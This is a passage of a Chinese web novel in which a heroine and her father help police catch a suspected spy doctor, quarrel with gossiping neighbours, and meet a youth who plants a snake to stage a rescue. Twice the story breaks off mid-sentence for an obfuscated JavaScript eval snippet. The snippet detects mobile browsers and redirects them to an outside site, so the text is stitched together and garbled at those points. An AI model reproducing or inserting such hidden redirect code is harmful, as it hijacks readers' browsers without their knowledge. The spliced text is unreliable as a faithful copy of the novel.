护士长也不知如何是好,此时保卫科和副院长也到了。隋副院长跟护士长了解了情况后,与蓝青山握了握手,他说:“我是医院的副院长,鄙姓隋。您看,事情发生在医院,医院保卫科也已经来了,是不是让保卫科解决?而且这两位同志只是昏倒,我们现在抢救,应该能救过来的。” “不行,我不相信你们医院,我要带我爸走。而且我举报卢医生害我爸,你们不能包庇,警察同志,你们必须严肃处理,不然我就去市里告状,去省城告状。” 大驴愣了一下,看苏水仙胸口还有起伏,开口道:“我......我相信你们医院,但你们医院得免费给我叔奶看病。我......我也举报这个医生,他想害我叔奶。” 蓝青山严肃着脸,开口道:“隋副院长,您也听到了,治病和抓人是两码事,这件事可能牵扯到医生故意害人,不是小事。” 见卢家辉要辩解,蓝青山赶忙道:“当然,如果最后查出来您没做什么,我们会好好教育这两位同志的。但是如今这两位小同志说您害人,我们派出所是一定要管的。” 隋副院长见蓝青山坚持,知道事无更改,只得对卢家辉道:“卢医生,别怕。我让保卫科科长跟您一起去派出所,将事情讲清楚我们就出来,不会有事的。” “她是装的!”裘盼儿看到这里,兴奋地不行,当即越众而出,指着姜楠吼道。 她今天跟了姜楠一天,以为她和姜叔叔下午来医院干嘛呢,没想到是来医闹的。这么丢人的事,连警察都来了,她觉得老天爷都在帮她。她急切地要戳破姜楠和姜满城的阴谋,在派出所警官面前立功。 她一副‘什么都逃不过我的眼睛’的表情:“我是她的邻居,她和她爸可健康的很,今天中午还一人吃了一大碗面条呢,怎么可能突然犯病。他们就是装病讹钱的。” 她一个箭步上前,看到病床上装晕的姜满城,抬手就要掐人中,被姜楠狠狠按住。裘盼儿吃痛,抬头却看到姜楠的眼神像是要吃人,突然就没了开口的勇气。 局面有些僵,卢家辉知道,今日这个局,就是针对他设的。他闭了闭眼,他不能进警局,他的档案,医院看不出来,但是警察一定会怀疑,到时候去当地调查,他做过的事儿就瞒不住了。 想到这里,他狠了狠心,低头想要咬破衬衫上的纽扣,却被一旁看着他的一名年轻警察眼疾手快地制止。 “带走。”蓝青山开口道。 23. 闲话与嫉妒 做戏做全套,姜楠和姜满城父女俩配合着去派出所做了笔录,卢家辉很快被移交到了安全部门,苏水仙被控制在了医院的单独病房里,能不能定她是间谍,还要看能不能撬开卢家辉的嘴。 “你们这次做的很好,不确定就交给我们警察办,不能自己冒然动手。好了,我就不送你们了,再见。”蓝青山送三人出门,深深看了一眼姜楠,意味深长道,“小楠,好好休息,总有用到你的地方,别着急。” 一家三口挥挥手,总算是吃了定心丸。陈金花下班之后没回家,直接过来了。陈金花当初去过山坳子大队,长相特征又太明显,怕被苏水仙认出来,派出所才安排姜满城倾情出演‘医闹’。 “爸,妈,你们说蓝大叔有没有怀疑我们啊?”姜楠有些不确定,“我们的话,没漏洞吧?” 他们当初去警局,找的借口是村里有一个老姑娘,是姜家的远房亲戚,杜荷花想给她说门亲事,让姜满城在油田看看有没有合适的男同志。姜满城当即想到了卢家辉的鳏夫儿子,他在档案室工作,很快调阅了大龄男同志和这个鳏夫的档案,重点看了卢家辉一家的。不看不知道,一看,发现了卢家辉居然结过五次婚,而且每次都是和重要部门的女同志结婚。这才觉得不妥当,一家人没有迟疑,当天就跟派出所报告,怀疑卢家辉是间谍。 如今对间谍,那是查的很严的,特别是这种有疑点的,一定不会放过。派出所当即安排了这出戏,也是想以合理的理由将卢家辉请去警局,不惊动他的上下线,免得打草惊蛇。没想到卢家辉机敏,当即想自我了断,可见其决心。如今事情只能移交安全部门,让专业的人,用最快的速度撬开卢家辉的嘴。 苏水仙虽然没被移交,但只要卢家辉开口了,她就跑不了。而且派出所一定会交代医院领导看住了她,晾她插翅也难飞。 姜满城将事情又从头到尾过了一遍,摇头道:“应该不会被怀疑。你就等着立功当警察吧。” “对,反正你奶是有个远房亲戚的,这个可以查出来的。”陈金花补充道。 “嘿嘿嘿。”姜楠得意洋洋。 三人高高兴兴地一路回到家属院。却不知道,姜楠父女二人大闹医院的事,已经在筒子楼传开了。 这还要从裘盼儿被姜楠的眼神吓坏了说起。 她失魂落魄地走出医院,看着姜楠父女跟着警察进入派出所,还有些不敢相信。她经常盯着姜楠,爱跟姜楠攀比,也爱背后说些姜楠的小话儿,最见不得的就是大家夸姜楠比她好。可饶是如此,姜楠也从来没用这么憎恨的眼神看过她。 不知道为什么,她突然有些迷茫,不知道怎么办了。 因为去医院的时候已经下午四点,加上闹事儿,裘盼儿回到筒子楼时,已经是下班时间。 工人们三三两两地结伴回家,一路都在讨论晚上要吃什么好吃的。方南山也下班了,他和楼里的几个人慢慢走着,远远瞧见前面的女人走路晃晃悠悠,跟喝醉了一样。等走到近前,才看出这是裘盼儿。他转转眼珠,走过去状若关心地问:“盼儿,你怎么了?身子不舒服,还是发生什么事儿了?” 方南山可不是真的关心裘盼儿,他是想撺掇裘盼儿找姜家的麻烦呢。 筒子楼里谁看不出裘盼儿嫉妒姜楠,只要利用的好,不用他出马,也能给姜家好看。那次刘老太冤枉他们家偷蜂窝煤的事儿,他方南山可还记着呢。这事儿十有八九是姜家做的,他可得好好回敬一番。 和方南山一起走的楼里工友,见状发出意味不明的笑声。 裘盼儿被笑声一激,回过神,清醒过来。不论姜楠为什么生气,她和姜叔叔在医院闹事儿总不是假的,他们敢做,她就敢说。 裘盼儿清清嗓子,用大家都能听到的声音,将姜楠父女在医院医闹讹钱的事讲了个清楚明白,最后还发出来自灵魂的疑问:“他们是想要医院赔钱吗?” 方南山没想到迎来这种惊喜,作为捧哏,他无师自通地附和着“是吗,不可能吧,怎么会这样”,对于最后一个问题,他好心地替姜满城父女辩解:“不会的,姜叔叔是个体面人,不会做这种事的。应该是真的生了什么病吧。” “哎呦妈呀,咱们楼里咋还出这种人了呢。” 裘盼儿讲述的时候,不用做饭的大爷大妈们正在楼下聚堆儿唠嗑呢,有热闹哪里会不去凑,在裘盼儿开口的第一时间,就将几个年轻人围在中间,有那自诩有见识的大妈不屑地撇撇嘴,说:“他姜满城就是个小白脸子,能是什么体面人。我看啊,他就是想讹钱。” “不会,还有小楠跟着呢,小丫头要脸,做不出这种事儿。”有那聪明的大爷分析道,“我看南山说的对,满城这小子,不定生了什么病吧。” “他一个大男人,平时健健康康的,能生什么病。” “看你这话说的,大男人怎么就不能生病了,那可生的病多了去了。” 人群里,男人们一个个发出猥琐的笑声,讨论不可避免的歪了楼。这但凡稍微沾点儿桃色新闻的边儿,大家的热情就格外高涨。就连去个医院,都能歪成这样。大爷大妈们也不急着吃晚饭了,叽叽喳喳讨论个不停。 等姜家三人来到筒子楼时,天已经黑了,楼前依旧围着一群人。就连小孩子,都没休息,趴在窗口看热闹呢。 “小楠啊,你今天去医院闹事儿了?”刘老太属于没什么脑子又死抠门的,她反正是觉得姜家父女俩来这一出,铁定是为了钱。三角眼上上下下扫了姜楠一圈儿,她语带嘲讽地说,“你们家想钱想疯了吧,竟然使出这么下作的手段?我说小楠啊,你小小年纪怎么不学好,咱们楼里吵吵架可以,可不能做这种事儿,怪丢人的。” “奶。”程改改拉了刘老太一下,有些歉意地冲姜楠笑笑,她说,“小楠不是这种人,她这么做肯定有苦衷的,奶,你别说这种话。” “什么苦衷,小楠,你说,你有什么苦衷要去医院讹钱?”刘老太一把甩开孙女的胳膊,抬着下巴轻蔑道,“再说了,就算有也不能做这种事儿啊,多丢人的,是不是,曹大姐?” “可不是。”楼长曹老太特意等在下面,此时也开口了,“满城啊,你们家是双职工,日子也不困难吧?怎么想到这种法子讹钱呢。真是太不体面了!你说说,金花她爸爸还是总工程师,这不是给油田丢脸吗?” 姜楠扫了眼程改改,知道她临近下乡,心里难受,看姜楠不用下乡嫉妒罢了。姜楠也没放在心上,谁还没点儿小心思呢,只是看着缩在后面的裘盼儿,心里一股火烧上来。 这么多年,姜楠一直放任裘盼儿,也是因为觉得她爹不疼娘不爱的,是个小可怜罢了。可如今小可怜因为嫉妒,差点坏了大事,回家还要传小话,人品已经开始往下出溜了,她摇摇头,扬声对刘老太喊:“刘奶奶,我今儿去医院这么做,是有原因的。不过这个不能说,过几天大家就知道了。咱们这么多年的邻居,您还不相信我?我什么时候不靠谱过?” “就是啊,曹大妈,您看看我,那可是油田三好青年,是那不着调闹事儿的人吗?我只能说,我们今儿这事,是事出有因,大家过几天就知道了,到时候别太羡慕我们哈。” 姜满城没瞒着,这么大的事儿,楼里早晚得知道。而且卢家辉都要自杀了,那铁定是特务啊,手上说不定还沾着人命呢,安全部门必定精心审问,一周之内必得出结果的。不然,卢家辉可是首都来的大学生,万一在首都有啥关系,被有心人传过去,一切不是都白做了? “姜大哥是个好人,我信姜大哥的话,大家都别说了。”孙巧莲柔声开口。 她不说还好,一说大家的闲话就更多了。没看好几个老娘儿们小眼睛闪啊闪的,更有人直接喊:“哦,孙巧莲,你说说,你为啥觉得姜满城是个好人?他给你做过啥?” 孙巧莲脸色微红,含嗔带怨地瞅了姜满城一眼,跺脚道:“反正姜大哥是好人,你们不能这么冤枉人。” 询问声更大了,有那胆大的直接内涵道:“这姜满城都病了,以后能不能做好人还两说呢。” 哈哈哈。 人群里发出暧昧不明的笑声,姜满城眯眯眼,抬头看了一眼四楼方家的方向。四楼走廊上,方南山挑衅地笑了笑。 看大家将事情往孙巧莲身上扯,林兵不干了,他抬手指着笑得最大声的几个人,威胁道:“笑什么笑,欺负巧莲姐是不是?再笑老子揍你个窝囊废。” “林兵你滚一边儿去,有你什么事儿啊你就掺和。”裘老太可是想着狠狠踩姜家一脚的,见大家半天说不到正题上,她气急败坏地说,“我家盼儿可是亲眼看到你们父女俩在医院闹事儿的,还能有假?你俩还被带到警局了呢,我家盼儿可全都看到了,还有老吴头,他也在现场,你休想抵赖。我看你们是没想到被院里的人看到吧,觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382485|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得太丢人,才想出这么一套说辞。什么事出有因,啊呸,还想骗过我,我脑子可清楚的很。” 她昂着头,一脸看不上姜家父女的样儿。 老吴头往人群里缩了缩,他现在还蒙圈儿呢,被人白白揍了一顿。而且他今天是身体不舒服去的医院啊,这招谁惹谁了。 老吴头的小眼睛觑了眼姜楠,啧啧,姜家这小丫头可不好惹。他又偷摸看了小丫头一眼,又扫了眼众人,觉得大家真是没见识。这家人是能随便招惹的嘛?老吴头可是有自己的智慧的,在他心里啊,这不要脸的,才是最不能招惹的。以前他敢招惹姜楠,那是看她要脸,如今,啧啧,他可不敢做什么了。 姜楠哪有功夫管老吴头的心思,她听了裘老太的话,决定不忍了,直接怼裘盼儿:“裘盼儿,你出来。你能不能不要整天跟着我,自己去找些事情做?你也是高中毕业,要学历有学历,要出身有出身,要脸蛋有脸蛋,怎么就活得跟个影子似的?是,别人总爱拿咱俩对比,但每个人都是不一样的,你就不能有自己的想法?别总是被别人牵着鼻子走,一点儿主见也没有,让人看不起。” 她深深看了裘盼儿一眼,最后道:“这是我最后一次警告你。以后你要是还跟着我,就别怪我不客气了。” “我什么时候跟着你了!”裘盼儿眼神有片刻慌乱,不过很快被羞恼取代,她就知道,姜楠看不起她!有什么了不起的,她昂着头,气愤地说,“你又有什么了不起的,值得我跟着你。真是可笑,我还要警告你别总跟着我呢。你别仗着长得高就欺负人,我可不怕你。” “就是,少欺负我家盼儿。”裘老太在人前还是很维护这个孙女的,她气愤道,“我家盼儿什么时候跟着你了?少自作多情,油田的路只有你能走?工厂招工只有你能看?不要开玩笑了好吧,真是有够不要脸的。盼儿,走,不跟这种没素质的人一起,跌份!咱们不稀得理她。” 她说完,重重哼一声,一把拉过裘盼儿,气冲冲地上了楼。孙巧莲完成了儿子的叮嘱,也趁机哭着跑上去。 众人面面相觑,不过很快,大家将两人抛到脑后,纷纷开始好奇。 “城子,你咋还瞒着大家伙儿?到底是啥事儿啊?你们到底为啥医闹,不能现在就说?” “就是,咋还吊人胃口哩?可不兴这样。” “那可不行,这可是机密。”姜满城摊摊手,耸耸肩,一副爱莫能助的表情,“不说了,我们得回家休息呢。明儿还得上班。大爷大妈,明儿见哈。” “你这个城子,咋这么不老实。” 姜满城嘿嘿笑两声,坚决地摆手上楼。只是一关上门,脸就拉了下来。 “金花,之前爸给的痒痒药还有没?裘盼儿今天太过分了,非得给个教训不可。” “爸......” “少心软,不给个教训,她不会改的。这种人最是会欺软怕硬,我见得多了。”姜满城不屑道,“而且今天她是想踩着我们立功。你想想,如果那个卢家辉有枪,今儿就得出危险。” 姜楠:她没有,她就想说,还有方家呢,孙巧莲今儿来这一出,肯定是方南山背后撺掇的。 陈金花:“有,不过不多了。” “都拿来吧。方家以后再说,两家今儿都出事,会惹人怀疑的。” 作为上辈子的太监,姜满城溜门撬锁可是很行的。虽然两者没什么联系,但谁让他闲着也是闲着呢,这不,手艺都学杂了。 “这几天要不要回村里住?派出所那边最快也得四五天才能出结果,这医闹的事,家属院这边闲话肯定不会少。咱不受这个闲气,回去上上山,看看知青的热闹,不好吗,干嘛非留在筒子楼。”姜满城提议道。 【宿主,按照原文时间线,这周末勘探队就会来村里,到时候肯定有热闹瞧。咱们回去瞧瞧呗。】 “行,爸。”姜楠将要发现石油的事儿告诉了父母,“到时候奶肯定让小松来找你,又要有热闹瞧了。” “不愧是女主,这气运。”姜满城啧啧两声,“行,咱们先休息,明儿爸送你回老家。” “不用,我自己骑车回去就行。” “少废话,你自己一个人,爸能放心嘛。行了,去洗漱吧,爸妈也得休息了。” 只是休息到一半,姜满城爬起来,去外面做了些小破坏,引来裘家半夜哀嚎,筒子楼里又是一通鸡飞狗跳。 24. 凤凰男 时间拉回到四个小时前,裘老太拉着裘盼儿回家那会儿。 关上门,裘老太开始数落孙女:“你个没用的丫头片子,跟个人都跟不明白,你说说要你有什么用。姜家那臭丫头都那么说了,你以后还怎么跟着她抢功劳?你还想不想进派出所了?” “妈。”裘向东面色不虞,他这么晚还没睡,就是为了看姜满城的笑话。谁承想看到个半拉子,上不上下不下,倒胃口的很。他妈真是越来越没用了,连骂人都骂不过姜满城。 从小他就比姜满城优秀,学习比他好,做农活比他卖力,就连工作都比他能耐升得快。可偏偏输在了女人身上,他厌恶地看了眼黄脸婆陶美玉,心里那股子愤懑又冒了出来。 他深吸几口气,压下心底的郁气,沉声道:“好了,现在不是说这个的时候。” 见母亲不再说话,他继续道:“姜满城和姜楠闹出这么大的事儿,肯定要被人追着问的,这几天闲话不会少。他又是个面子上惯会疼闺女的,估计会把姜楠送回老家。” 他起身在家里转了两圈,站定说:“明天一早,妈你和盼儿先一步走,也回老家去。这样他们没理由说盼儿跟着姜楠了吧?” 他转向裘盼儿,眼神放柔,鼓励道:“盼儿,爸爸相信你,在老家,你肯定能立个大功。到时候进了派出所,你不是稳稳压了姜楠一头?放心,姜楠丢了这么大的人,在派出所都挂了名儿的,派出所肯定不会再要她了。” “对。”裘老太眼睛放光,兴奋地说,“还是我儿子聪明。明儿一大早我们就走,我就不信,我家盼儿这么优秀,会不立功?!儿子你放心,到时候我跟盼儿一起跟着那死丫头,肯定让盼儿当上警察。到时候咱们就专盯着他家,把他们抓进派出所,蹲笆篱子!” “妈,这事儿你别掺和,盼儿是小丫头,跟着人还行,你这么大年纪了,再跟着,好说不好听的。让盼儿去做,没事,盼儿能做好的,是吧,盼儿?”裘向东眼睛一眨不眨地盯着女儿。 裘盼儿狠狠点头,她母亲陶美玉的眼睛也亮了。是啊,姜楠犯错了,没了进派出所的可能,盼儿能啊。 裘老太得意洋洋,想到什么,又开口道:“儿子,你说姜满城到底生没生病?大家说的跟真的似的,有没有可能......” 裘向东摆摆手:“不会,他今儿还吃了一大碗面条呢,脸色那么好,生什么病。再说盼儿都看到了,他们就是去闹事儿的,咱们可得咬死了,知道吗?” 一家人狠命点头,在诡异的气氛中,进入梦乡。 就连在梦里,都是裘盼儿身穿警服,给姜楠戴上银手镯的飒爽英姿。 只是出师未捷身先痒,裘家四人先后发出杀猪般的惨叫,不,简直比杀猪还惨,四人在床上又蹭又挠,声音听着都渗人。 裘向东失去了往日的温和,眼神凶狠,粗声恶气地呵斥枕边人:“你个没用的,连家里都收拾不明白。是不是进虱子了,啊,你说,是不是进虱子了?!太特么痒了。妈,咱家咋还有虱子啊,你有没有按时洗澡洗头?” “洗了啊。”裘老太脸都抓红了,她疯狂大喊,“好你个陶美玉,是不是你从外面带进来的?!” 她一下子来了精神,跳下床跑到儿子房间,一下一下捶打着陶美玉:“是不是你,你个害人精,我打死你!” 裘向东冷冷看着,一眼不发。 “妈。”陶美玉冤枉,她也痒啊,身上都挠出印子了,她边躲边喊,“不是我,妈。我在幼儿园上班,哪里有虱子啊?” 她想到什么,疯了一样冲进女儿的房间,恶声恶气地喊:“盼儿,是不是你?今天你去医院,是不是接触了什么村子来的人?是不是?你怎么这么不懂事,去了医院不知道先洗澡再回家?” 一家人你说我,我说你,还一个比一个声音大,很快将邻里吵醒了。四五家陆续亮起了灯,大半夜的,任谁睡得好好的被吵醒,都不会有好声气。 “老裘,你家号丧呢,还让不让人睡了?” “就是,大晚上的,闹腾什么呢,消停点儿吧,明儿还上班呢。” 裘老太是裘家最有战斗力的,此时痒得抓心挠肝,那个刺挠啊,恨不能浑身上下挠脱一层皮,连骨头缝儿都挠一挠。就这,她还有心思回嘴呢,十分的恶声恶气,她说:“都给我滚犊子。号丧什么号丧,咒我死是吧?一个个没良心的,程家大柱子,别以为我听不出来是你说的,再嚷嚷,我找你们领导去。你个不修口德的狗怂玩意儿。” “好你个裘婆子,敢骂我儿子,你家大晚上的又哭又闹,有理了是吧?有种你给我出来,看我不抽你一个大耳瓜子!”这是为儿子出头的刘老太,十分的嚣张了。 “大晚上怎么了,大晚上我们在自己家里号,干你们屁事。滚,没听到我们难受呢嘛。” 没想到痒痒粉倒是对裘老太的战斗力,起到了加持的作用。她以一己之力,舌战群邻,大家一个个骂骂咧咧地离开。不离开不行,裘家也不开门啊,再说大晚上的,他们也困啊。 只是这一出,到底打乱了裘家的计划。 第二天一大早,姜楠和姜满城已经踏上了回老家的自行车,裘家人才刚起呢,就连陶美玉上班都迟到了。幸好裘向东此前一连上了近一个月的班,队里给他放了五天的假,加上周六周日,他能连休九天呢。 一家人合计了一下,决定还是按原计划,吃完饭就送裘盼儿回老家。 这功劳,他们抢定了。 路上飞驰的姜满城父女俩还什么都不知道,两人今早吃了早饭,姜满城特意去单位请了半天假。 车子路过村口,魏家几个媳妇儿们的叫骂声传来,父女俩相视而笑,若无其事地继续前行。村里的大豆已经抢收完毕,夏收最忙的时候结束了,这时候村里人没什么事,一个个吃完饭坐在大门口的阴影里,隔着一条路聊天呢。 “哎,这不是老姜家的城子吗?你怎么回来了?” “这又不是礼拜六礼拜天,城子,你回来干啥?” “大爷大妈,我送我家小楠回来住几天。这不是油田没事儿嘛,咱们村里多好的,有山有水还凉快,可比油田舒服多了。”姜满城放慢车速,和人招呼了两句,“不说了,我先回家了,下回见哈。” “哎,城子,别急啊,还有好多事儿没问你呢。” 姜满城摆摆手,一溜烟儿回了家。他才不留下来呢,他也是最近才知道,老岳父带的勘探队,就在西河岸大队不远的临市。按系统的说法,不久就要勘探到这边来了,到时候事情肯定不少,他最近可得缩起头来做人,尽量让大家不要想到他。不过想想也不太可能,真是愁死个人。 西河岸大队地理位置特殊,位于三市临界处,其中有两个市都发现了石油。大家有志一同地认为,西河岸大队早晚会发现石油,到时候肯定从三不管,变成香饽饽。彼时,嫁到大队的人都会多起来,就连老鳏夫都会格外吃香。 想到这里,他叮嘱姜楠:“你可得看着点儿小桂。他可是香饽饽,别被人算计了。” 姜桂是独子,不过为了工作,也是分了家的,至今十七了还没结婚。如果发现石油,他爹和他都会有一份工作,等姜满坡干上几年,这工作不是妥妥地会给儿媳妇?别说村里人动心,恐怕那些下乡的知青,动小心思的都不会少。 “爸,你放心。小桂哥心里有数的。” “放心什么放心。”姜满城嘀咕,“少年哪有不爱俏的?就那个唐夕,长成那样,要是勾引小桂,你看着吧,小桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399412|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁定要栽。就是你奶出马,也拉不回一个爱俏的小少年啊。” 两人很快进入姜家的院子。因着不用再每个人去地里出工,家里的女人都在家。大嫂尹文娟、二嫂马红花和大柏媳妇儿姚桂花在院子里剥玉米,这是自留地里种的,趁天气好剥出来晒晒,以后也好磨成玉米碴子。一个个玉米金灿灿的,看着格外喜人。 “大嫂,二嫂。”姜满城跨下自行车,笑着开口,“剥玉米呢?小楠在家没事做,我送过来住几天。平时上山下河啥的,你们看着点儿,别让她胡来。” “大伯娘,二伯娘,大嫂。”姜楠乖乖喊人,“小桐和小槐去山上了?” “对,高中放暑假,他俩没事做,早早吃了饭,带着小松一起上山了。”尹文娟笑着起身,招呼二人往正屋走。 “大姑姑。”小姜河从屋里蹦跶出来,小脸儿都在放光。他可还记得,小楠姑带着他猎到了狍子,两人还跳格子了呢。 姜楠笑容格外灿烂,蹲下身一把抱起姜河,换来小家伙嗷嗷叫唤。 姜满城也不在院子里多寒暄,提着糕点进了正屋。 屋里,杜荷花正刺啦刺啦地纳着鞋底子,听见小儿子进来,她头也每抬,问道:“留下吃午饭不?” “不了,我歇会儿就回,就请了半天假,下午还得回去上班呢。周末我再跟金花过来,小楠就交给娘了。”姜满城脱鞋上炕,很自然地躺了下来。住在山脚下就是好,夏天格外阴凉。 尹文娟作为大嫂,很快端着两碗红糖水进来,又将小叔子房间的钥匙放到了炕桌上,这才离开。 【宿主,裘盼儿和裘老太也回来了。】系统报告道。昨天宿主和裘家起冲突,它今日可是很关注裘家人的。 “别理她。”对于裘盼儿的执迷不悟,姜楠懒得多管。她已经说清楚了,以后裘盼儿再跟着她,她可是不会客气的。 村里的生活比家属院轻松多了,特别是她还不用干农活,上山采采蘑菇木耳啥的,偶尔打个猎,吃点儿野果子,小日子惬意地简直不要不要的。要不是墙上还刷着标语,姜楠简直要觉得这里是世外桃源了。 “小心。”一道清越的男声响起,让蹲在地上吃野草莓的姜楠一愣,她奇怪地回头,就见一个穿着白色衬衫短袖的青年,疾步朝她走来。 这青年能有一米八,长得还算白净,身姿笔挺,衣服上补丁也少,一看就不像村里人。 “姑娘小心,有蛇......” 话音还没落,姜楠扬手举起一个石子儿,刷一下丢出去,准准地砸在蛇的七寸上。蛇身子随着力道向前飞了四五米,最终落在地上。 青年愣了一下,很快关心地问道:“姑娘,你没事吧?我刚看到这条蛇朝你这边爬,这才出声提醒,姑娘没事就好。没想到姑娘身手这么好,你不是村里人吧,我平时......” “啊,蛇!” 就是这么寸,蛇恰好落在不远处的裘盼儿一群人旁边,裘盼儿惊叫出声,吓得连连后退。蛇虽然死了,但蛇头不知为何,突然暴起,一口咬在了裘盼儿腿上。 【宿主,放心,这就是个小草蛇,没毒的。你没事儿吧?怎么叫个不停?】 “啊啊啊。”姜楠面无表情地内心狂吼,“蛇啊,那可是蛇啊,多膈应啊。啊啊啊。” 【宿主别怕,那条蛇已经死了。而且哦,我扫描到,这条蛇就是这个男人放的,他是村里的知青,叫田家光,想要英雄救美把你或者裘盼儿追到手。你俩刚来那天他就瞄上了,今天趁着人少,专门过来的。】 姜楠:呵呵,呵呵呵。 没想到,她姜楠重活一世,还遇上凤凰男了! 突然有点儿手痒,是怎么回事? 就,突然,想揍人。 25. 忽悠到哪个是哪个 其实姜楠和裘盼儿遇上打她俩主意的男青年,再正常不过。 她俩长得都不差,父母还是双职工,又是独生女,这么好的条件,没人惦记才怪。 别以为男人找对象就不算计,说起来,他们算计的比谁都精。要对方长相好,还要性格好,肯顾家,更重要的,还得家世好,这样还能在事业上帮衬他们。 种种条件下,姜楠和裘盼儿,那就是妥妥的好媳妇儿人选啊。 而且吧,瞄上她俩的男人,往往还要装相。毕竟男人都要面子嘛,也知道这样出身的女孩子不好掌控,无师自通了‘打压’大法,就是后世的PUA。一打一拉之间,将女人稳稳握在手里,为他们所用,这还只是‘凤凰男’的基本操作。其他例如吃绝户,吃干抹净然后让女方净身出户的大有人在。 好在姜楠身高一七八,穿上鞋直逼一米八,她妈又是有名的虎姑婆,遇到事儿那是真揍人的,凑在她身边的人还不多,不过也有就是了。围在裘盼儿身边的人那才叫多呢,不过裘老太勇猛,看得严,这才没让这些人得逞。 不过这也让裘盼儿莫名自信了起来,毕竟啊,她比姜楠更受男人欢迎呢。 此刻站在姜楠面前的田家光,打的就是凤凰男的主意。他是去年下乡的知青,别看他叫家光,但家里还有家辉、家豪、家耀几兄弟呢。作为家里的老三,上拼不过继承家业的长子,下敌不过受宠的小儿子,在家里就是个没人在乎的小可怜。 这不,下乡政策一出来,家里父母就给他和二哥报了名。他干了一年的农活儿,终于认清现实,还是软饭香。 西河岸大队有吃软饭的先例啊。姜家的小儿子姜满城,早年因为经常去市里闲逛,凭借着小白脸子和一张嘴,愣是忽悠到了油田总勘探工程师的闺女,还当上了石油工人,这么匪夷所思的事,在西河岸大队那可是口口相传了十几年,隐隐还有再传几十年的架势。 田家光来了西河岸大队后,就长了心眼儿,瞄上了姜家。盯着姜家,不可避免就注意到了裘家,毕竟是村里的对照组嘛。 这一注意不要紧,好嘛,两个绝户。这家伙,忽悠到了谁,都是妥妥赚了啊。 不论是谁,只要和他田家光结了婚,他再接了老丈人的班,可就从知青一跃成为石油工人了,再也不用干这操蛋的农活儿了。 因着有心,终于让他发现了华点! 这个裘盼儿,总是偷偷跟在姜楠身后。 虽然裘盼儿身边总有其他女孩子,但姜楠常常是一个人啊。不过有时也有堂弟堂妹跟着,但她经常落单。而且裘盼儿似乎在盯着姜楠,两人总是离得不远。 田家光想了整整一宿,决定来一出英雄救美。 他长得不差,又是知识青年,个头儿也快一米八了,他就不信两个人谁也看不上他! 他在村里可是很受欢迎的,每次干活,多少大姑娘小媳妇儿的围着他转呢,他稍微给个笑脸儿,可好些大姑娘争着抢着给他干活儿呢。他要不是想着姜楠和裘盼儿条件好,早在村里出手了,哪里轮得到她俩。毕竟干农活可太糙淡了啊。 他能对姜楠和裘盼儿出手,还是这俩人的福气呢,而且先从姜楠这里下手,可是他早就计划好的,谁让她常常一个人呢。这样放蛇才不容易被发现。 这些也只是一瞬间的事儿,唰唰唰从脑子里划过,田家光面露迷之微笑,上前一步,温柔地问:“同志,你没事儿吧?” 姜楠懒得和这种人纠缠,这种凤凰男,理他那是给他脸。正好,这处野草莓被她采得差不多了,她没好气儿地起身,道:“滚犊子,别跟着我,渣男。” 田家光面色僵了僵,不敢置信地瞪着姜楠,他说:“你,你,......你这位女同志怎么说话呢,我救了你,你就是这么对救命恩人的?我知道你是见到我不好意思,但你不用紧张,我虽然救了你,但我是个正直的人,不会要求你以身相许的。我们可以做共同进步的革命同志......” 姜楠的隔夜饭都要被眼前的人吐出来了。这人明明长得很普通啊,虽然跟她差不多高,但瘦得跟麻杆儿一样,真是不知道哪里来的自信。哦,可能是那条被她伦飞的小青蛇给的。 姜楠不屑地说:“你听不懂人话是吧?我叫你滚。别以为我看不出来,那草蛇就是你放的,不想被我揍就滚远点,老娘可不是好惹的。” 姜楠抬头挺胸,叉腰冷哼一声,一副村里女恶霸的样子。 田家光涨红了脸,指着姜楠一个劲儿:“你......你......你......” 姜楠切一身:“你个什么你,想吃软饭也不照照镜子,真是糟心,好好的上山遇上这种事儿,晦气!” 田家光被气得发抖,看着姜楠的背影,不知道这疯女人是吃错了什么药,她不应该羞怯怯地谢谢他搭救,然后两人互通姓名,愉快聊天吗? 作为普信男,田家光哪里想得到,姜楠可是从信息大爆炸的时代过来的,就他这种手段,姜楠上辈子在小视频里,可是见得太多了。要是再上这个当,那她上辈子不是白活了。 而且想吃软饭,田家光长得也太普通了吧。虽然比村里人白净吧,但也不好看啊。就这还以为自个儿是美男子呢,真是不觉景儿。 田家光生气,姜楠还生气呢,她可是见过很多哥哥的人。 不过马上,田家光想到还有一个攻略目标,气愤地甩了甩袖子,疾步朝另一个方向跑去。 此时裘盼儿的腿上还挂着蛇头呢,一群女孩子躲在不远处,不敢上前。 裘盼儿跌坐在地上,吓得直哭。她怎么这么倒霉啊,上山还能被蛇咬了,呜呜呜,她的命怎么这么苦啊...... “这位同志,你别哭了,我来帮你。” 裘盼儿抬头,就见一个男同志飞奔过来,身后仿佛带着光。他神色焦急,声音轻柔,微微一笑,缓缓蹲下身,轻轻将蛇头取下来,开口道:“同志,你没事儿吧?” 裘盼儿红着脸摇头。 田家光又是微微一笑,随后十分关心地说:“虽然你现在没事儿,但谁知道这蛇有没有毒呢。不过你不用怕,一切有我,我帮你把毒吸出来。” 说完,他怜惜地看着裘盼儿,面露决绝,毅然决然地低下头,在裘盼儿小腿上吸了一口,而后侧头,吐出一口鲜血,他望着裘盼儿,目光坚定:“别怕,我会救你的。” 说着,田家光再次低下头,重复刚才的一连串动作。 